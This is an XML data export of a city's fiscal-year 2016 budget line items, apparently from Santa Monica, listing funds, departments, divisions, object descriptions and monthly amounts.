<row _id="20386"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>100</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>100</total></row>
<row _id="20387"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1501</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1501</total></row>
<row _id="20388"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>15799</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>15799</total></row>
<row _id="20389"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>522311.0</object><object_description>DISCOUNTS AVAILABLE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>-360</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-360</total></row>
<row _id="20390"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="20391"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>4000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4000</total></row>
<row _id="20392"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>522920.0</object><object_description>COMMERCIAL VEHICLE REPAIRS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>291711</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>291711</total></row>
<row _id="20393"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>12850</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>12850</total></row>
<row _id="20394"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>544180.0</object><object_description>SMALL TOOLS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>10262</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>10262</total></row>
<row _id="20395"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>544340.0</object><object_description>INDIRECT COST ALLOCATION</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>614037</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>614037</total></row>
<row _id="20396"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object xsi:nil="true" /><object_description>YEAR-END CASH OUTS</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="20397"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>129181</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>129181</total></row>
<row _id="20398"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>432</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>432</total></row>
<row _id="20399"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>623</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>623</total></row>
<row _id="20400"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>121488</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>121488</total></row>
<row _id="20401"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>202</division_id><division_name>CITY MANAGER - ADMINISTRATION</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-12804</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-12804</total></row>
<row _id="20402"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>106</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>106</total></row>
<row _id="20403"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>21614</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>21614</total></row>
<row _id="20404"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>544230.0</object><object_description>COMMUNITY SERVICES SU</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>3500</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3500</total></row>
<row _id="20405"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>848.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>685</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>685</total></row>
<row _id="20406"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>408080.0</object><object_description>FIRE RESIDENTIAL INSPECT FEES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-553873</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-553873</total></row>
<row _id="20407"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>555850.0</object><object_description>PROGRAM SUPPLIES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>6409</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>6409</total></row>
<row _id="20408"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>6</fund_id><fund_name>Clean Bchs &amp; Ocean Prcl Tx Fd</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>555170.0</object><object_description>MONITORING COSTS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>60792</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>60792</total></row>
<row _id="20409"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>400772.0</object><object_description>JONATHAN CLUB LEASE</object_description><category_code>618.0</category_code><category_code_description>Rentals</category_code_description><fiscal_year>2016</fiscal_year><july>-125000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-125000</total></row>
<row _id="20410"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>566550.0</object><object_description>COMMUNITY FESTIVALS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>36918</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>36918</total></row>
<row _id="20411"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>19</fund_id><fund_name>CDBG Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>577040.0</object><object_description>AUDIT FEES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>6899</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>6899</total></row>
<row _id="20412"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>408140.0</object><object_description>ABOVE GROUND TANK PROGRAM</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-12600</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-12600</total></row>
<row _id="20413"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>566290.0</object><object_description>PROGRAMS &amp; SPECIAL EVENTS</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>5985</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5985</total></row>
<row _id="20414"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>265</division_id><division_name>PCD - ADMINISTRATION</division_name><object>540590.0</object><object_description>EMPLOYEE RECOGNITION &amp; APPRECI</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>3500</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3500</total></row>
<row _id="20415"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>405875.0</object><object_description>HOMEWORK CLUB</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="20416"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object>511560.0</object><object_description>CAPITALIZED LABOR</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-81901</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-81901</total></row>
<row _id="20417"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>566290.0</object><object_description>PROGRAMS &amp; SPECIAL EVENTS</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>10070</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>10070</total></row>
<row _id="20418"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>401</division_id><division_name>ADMINISTRATIVE SERVICES (PW)</division_name><object>540590.0</object><object_description>EMPLOYEE RECOGNITION &amp; APPRECI</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>150</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>150</total></row>
<row _id="20419"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>7326</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>7326</total></row>
<row _id="20420"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>457</division_id><division_name>AIRPORT MAINTENANCE</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>4157</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4157</total></row>
<row _id="20421"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>457</division_id><division_name>AIRPORT MAINTENANCE</division_name><object>533210.0</object><object_description>BLDG OPER / CUST SUPPLIES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>10200</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>10200</total></row>
<row _id="20422"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>577840.0</object><object_description>ASSESSMENTS FOR CITY-OWNED PRO</object_description><category_code>820.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>407590</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>407590</total></row>
<row _id="20423"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>6</fund_id><fund_name>Clean Bchs &amp; Ocean Prcl Tx Fd</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>543</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>543</total></row>
<row _id="20424"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>6</fund_id><fund_name>Clean Bchs &amp; Ocean Prcl Tx Fd</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>6749</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>6749</total></row>
<row _id="20425"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>6</fund_id><fund_name>Clean Bchs &amp; Ocean Prcl Tx Fd</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>150000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>150000</total></row>
<row _id="20426"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>848.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1719</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1719</total></row>
<row _id="20427"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>407070.0</object><object_description>CUPA ADMINISTRATION FEES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-174952</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-174952</total></row>
<row _id="20428"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577520.0</object><object_description>INVESTMENT TRANSFERS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>-423337</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-423337</total></row>
<row _id="20429"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>15575</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>15575</total></row>
<row _id="20430"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>401311.0</object><object_description>CONTRACT CLASSES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="20431"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>401750.0</object><object_description>MUSEUM UTILITY REIMBURSE</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2016</fiscal_year><july>-6000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-6000</total></row>
<row _id="20432"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>652</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511560.0</object><object_description>CAPITALIZED LABOR</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-2050994</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-2050994</total></row>
<row _id="20433"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>404290.0</object><object_description>MEASURE R LOCAL RETURN</object_description><category_code>658.0</category_code><category_code_description>Sales Tax</category_code_description><fiscal_year>2016</fiscal_year><july>-1062291</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-1062291</total></row>
<row _id="20434"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>266</division_id><division_name>CITY PLANNING/DEVELOPMENT REV.</division_name><object>401590.0</object><object_description>PLANNING PRESUBMITTAL REVIEW</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-9764</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-9764</total></row>
